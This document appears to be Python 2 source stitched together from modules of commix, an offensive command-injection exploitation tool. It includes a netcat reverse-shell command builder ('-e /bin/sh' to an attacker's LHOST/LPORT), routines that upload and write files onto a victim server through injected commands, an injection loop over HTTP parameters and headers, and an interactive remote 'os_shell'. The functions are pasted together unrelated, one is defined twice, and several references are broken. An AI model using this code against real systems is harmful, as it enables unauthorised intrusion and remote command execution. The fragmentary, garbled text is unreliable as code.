if nc_version == '1':
nc_alternative = NETCAT_ALTERNATIVES[0]
break
# Netcat for Busybox
if nc_version == '2':
nc_alternative = NETCAT_ALTERNATIVES[1]
break
# Netcat-Traditional
elif nc_version == '3':
nc_alternative = NETCAT_ALTERNATIVES[2]
break
elif nc_version.lower() == "reverse_tcp":
warn_msg = "You are already into the 'reverse_tcp' mode."
print settings.print_warning_msg(warn_msg)
continue
elif nc_version.lower() == "?":
menu.shell_options()
continue
elif nc_version.lower() in settings.SHELL_OPTIONS:
return nc_version
elif nc_version[0:3].lower() == "set":
if nc_version[4:9].lower() == "lhost":
check_lhost(nc_version[10:])
if nc_version[4:9].lower() == "lport":
check_lport(nc_version[10:])
else:
err_msg = "The '" + nc_version + "' option, is not valid."
print settings.print_error_msg(err_msg)
continue
cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh"
return cmd
def encoding_detection(response):
if not menu.options.encoding:
charset_detected = False
if settings.VERBOSITY_LEVEL >= 1:
info_msg = "Identifing the indicated web-page charset... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
# Detecting charset
charset = response.headers.getparam('charset')
if len(charset) != 0 :
charset_detected = True
else:
content = re.findall(r";charset=(.*)\"", html_data)
if len(content) != 0 :
charset = content
charset_detected = True
else:
# Check if HTML5 format
charset = re.findall(r"charset=['\"](.*?)['\"]", html_data)
if len(charset) != 0 :
charset_detected = True
# Check the identifyied charset
if charset_detected :
settings.DEFAULT_ENCODING = charset
if settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
settings.ENCODING = charset.lower()
if settings.ENCODING.lower() not in settings.ENCODING_LIST:
warn_msg = "The indicated web-page charset " + settings.ENCODING + " seems unknown."
print settings.print_warning_msg(warn_msg)
else:
if settings.VERBOSITY_LEVEL >= 1:
success_msg = "The indicated web-page charset appears to be "
success_msg += settings.ENCODING + Style.RESET_ALL + "."
print settings.print_success_msg(success_msg)
else:
pass
except:
pass
if charset_detected == False and settings.VERBOSITY_LEVEL >= 1:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
else:
settings.ENCODING = menu.options.encoding
if settings.ENCODING.lower() not in settings.ENCODING_LIST:
err_msg = "The user-defined charset '" + settings.ENCODING + "' seems unknown. "
err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' "
err_msg += "to get the full list of supported charsets."
print settings.print_critical_msg(err_msg)
raise SystemExit()
def check_unicorn_version(current_version):
try:
if len(current_version) != 0:
response = urllib2.urlopen('https://raw.githubusercontent.com/trustedsec/unicorn/master/unicorn.py', timeout=1)
latest_version = response.readlines()
for line in latest_version:
line = line.rstrip()
if "Magic Unicorn Attack Vector v" in line:
latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","")
break
if len(current_version) == 0 or \
(int(current_version.replace(".","")[:2]) < int(latest_version.replace(".","")[:2])) or \
((int(current_version.replace(".","")[:2]) == int(latest_version.replace(".","")[:2])) and \
int(current_version.replace(".","")[2:]) < int(latest_version.replace(".","")[2:])):
if len(current_version) != 0:
warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date."
print settings.print_warning_msg(warn_msg)
else:
warn_msg = "TrustedSec's Magic Unicorn seems to be not installed."
print settings.print_warning_msg(warn_msg)
while True:
if not menu.options.batch:
if len(current_version) == 0:
action = "install"
else:
action = "update to"
question_msg = "Do you want to " + action + " the latest version now? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
do_update = sys.stdin.readline().replace("\n","").lower()
else:
do_update = ""
if len(do_update) == 0:
do_update = "y"
if do_update in settings.CHOICE_YES:
unicorn_updater(current_version)
elif do_update in settings.CHOICE_NO:
break
else:
err_msg = "'" + do_update + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
raise
except:
pass
# eof
def base64_output(payload):
if (len(payload) % 4 == 0) and re.match(settings.BASE64_RECOGNITION_REGEX, payload):
if not settings.TAMPER_SCRIPTS['base64encode']:
if menu.options.tamper:
menu.options.tamper = menu.options.tamper + ",base64encode"
else:
menu.options.tamper = "base64encode"
tamper_scripts()
else:
if settings.TAMPER_SCRIPTS['base64encode']:
settings.TAMPER_SCRIPTS['base64encode'] = False
warn_msg = "The resumed stored session is not in base64 format. "
warn_msg += "Rerun with '--flush-session' option."
print settings.print_warning_msg(warn_msg)
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exists. (" +str(err_msg)+ ")"
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
if menu.options.verbose:
print ""
if shell:
success_msg = "The " + Style.UNDERLINE + shell
success_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!"
sys.stdout.write(settings.print_success_msg(success_msg) + "\n")
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
def print_non_listed_params(check_parameters, http_request_method, header_name):
if len(check_parameters) > 0:
non_exist_param = list(set(settings.TEST_PARAMETER)-set(check_parameters))
non_exist_param = ', '.join(non_exist_param)
if not len(non_exist_param) == 0 :
warn_msg = "The provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '"
warn_msg += non_exist_param + "'" + (' are', ' is')[len(non_exist_param) == 1]
if menu.options.level >= 2 and header_name != "":
warn_msg += " not inside the "
warn_msg += settings.HTTP_HEADER
else:
warn_msg += " not inside the "
warn_msg += http_request_method
warn_msg += "."
print settings.print_warning_msg(warn_msg)
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method,
url, vuln_parameter, alter_shell, filename, timesec):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [
line.replace("\r\n", "\n").replace("\r",
"\n").replace("\n", " ")
for line in content_file
]
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
content = base64.b64encode(content)
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_write = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
if settings.TARGET_OS == "win":
dest_to_write = dest_to_write.replace("\\", "/")
# Find path
path = os.path.dirname(dest_to_write)
path = path.replace("/", "\\")
# Change directory
cmd = "cd " + path
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Find filename
filname = os.path.basename(dest_to_write)
tmp_filname = "tmp_" + filname
cmd = settings.FILE_WRITE + content + ">" + tmp_filname
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Decode base 64 encoding
cmd = "certutil -decode " + tmp_filname + " " + filname
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
# Delete tmp file
cmd = "del " + tmp_filname
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
# Check if file exists
cmd = "if exist " + filname + " (echo " + filname + ")"
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
dest_to_write = path + "\\" + filname
else:
cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'"
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
# Check if file exists
cmd = "echo $(ls " + dest_to_write + ")"
if settings.USE_BACKTICKS:
cmd = cmd.replace("echo $(", "").replace(")", "")
# Check if defined cookie injection.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if shell:
success_msg = "The " + shell + Style.RESET_ALL
success_msg += Style.BRIGHT + " file was created successfully!" + "\n"
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the '" + file_to_write + "' file, does not exist."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [
line.replace("\r\n", "\n").replace("\r",
"\n").replace("\n", " ")
for line in content_file
]
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
content = base64.b64encode(content)
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_write = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACE[0]
dest_to_write = dest_to_write.replace("\\", "/")
# Find path
path = os.path.dirname(dest_to_write)
path = path.replace("/", "\\")
# Chnage directory
cmd = "cd " + path
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Find filename
filname = os.path.basename(dest_to_write)
tmp_filname = "tmp_" + filname
cmd = settings.FILE_WRITE + content + ">" + tmp_filname
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Decode base 64 encoding
cmd = "certutil -decode " + tmp_filname + " " + filname
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
# Delete tmp file
cmd = "del " + tmp_filname
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
# Check if file exists
cmd = "if exist " + filname + " (echo " + filname + ")"
if not menu.options.alter_shell:
cmd = "'" + cmd + "'"
dest_to_write = path + "\\" + filname
else:
cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists
cmd = "echo $(ls " + dest_to_write + ")"
print ""
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if shell:
success_msg = "The '" + shell + Style.RESET_ALL
success_msg += Style.BRIGHT + "' file was created successfully!\n"
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
def fb_injection_handler(url, timesec, filename, http_request_method,
url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based command injection technique"
tmp_path = check_tmp_path(url, timesec, filename, http_request_method,
url_time_response)
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
info_msg += "' for command execution results... "
print settings.print_info_msg(info_msg)
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION:
try:
settings.FILE_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
session_handler.notification(
url, technique, injection_type)
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(
url, timesec, filename, tmp_path,
http_request_method, url_time_response)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
sys.exit(0)
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename,
http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell:
payload = fb_payloads.decision_alter_shell(
separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(
separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Check for base64 / hex encoding
payload = checks.perform_payload_encoding(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = fb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent HTTP Header Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = fb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer HTTP Header Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to Referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = fb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Host HTTP Header Injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to Host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(
menu.options.host)
response = fb_injector.host_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(
payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(
url, OUTPUT_TEXTFILE, timesec)
time.sleep(timesec)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[
0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... [ " + percent + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0:
raise urllib2.HTTPError(
url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if str(e.getcode()
) == settings.NOT_FOUND_ERROR:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(
menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == int(menu.options.failed_tries
) and no_result == True:
tmp_path = check_tmp_path(
url, timesec, filename,
http_request_method,
url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(
warn_msg))
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
sys.stdout.write(
settings.
print_question_msg(
question_msg))
tmp_upload = sys.stdin.readline(
).replace("\n", "").lower()
else:
tmp_upload = ""
if len(tmp_upload) == 0:
tmp_upload = "y"
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(
no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print ""
raise
else:
err_msg = "'" + tmp_upload + "' is not a valid answer."
print settings.print_error_msg(
err_msg)
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent
) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(
float_percent
) + "%"
else:
percent = str(
float_percent) + "%"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "... [ " + percent + " ]"
sys.stdout.write(
"\r" +
settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()
) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print settings.print_critical_msg(
err_msg) + "\n"
sys.exit(0)
elif str(e.getcode()
) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print settings.print_critical_msg(
err_msg) + "\n"
sys.exit(0)
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except urllib2.URLError, e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": ", " (") + ")."
if menu.options.verbose > 1:
print ""
print settings.print_critical_msg(err_msg)
# Provide custom server's root directory.
custom_web_root(url, timesec, filename,
http_request_method,
url_time_response)
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
settings.FILE_BASED_STATE = True
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = "Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter
) > 0 and not "cookie" in header_name:
success_msg += " " + http_request_method
success_msg += ('', ' (JSON)')[settings.IS_JSON] + (
'', ' (SOAP/XML)'
)[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
"%20", " ", payload.replace(
"\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
timesec=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if not menu.file_access_options(
) and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1 and new_line:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
file_access_again = sys.stdin.readline(
).replace("\n", "").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
sys.exit(0)
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print ""
fb_file_access.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
fb_enumeration.single_os_cmd_exec(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(
settings.print_question_msg(
question_msg))
gotshell = sys.stdin.readline().replace(
"\n", "").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = raw_input("""commix(""" +
Style.BRIGHT +
Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename, technique, go_back,
no_result, timesec,
go_back_again, payload,
OUTPUT_TEXTFILE)
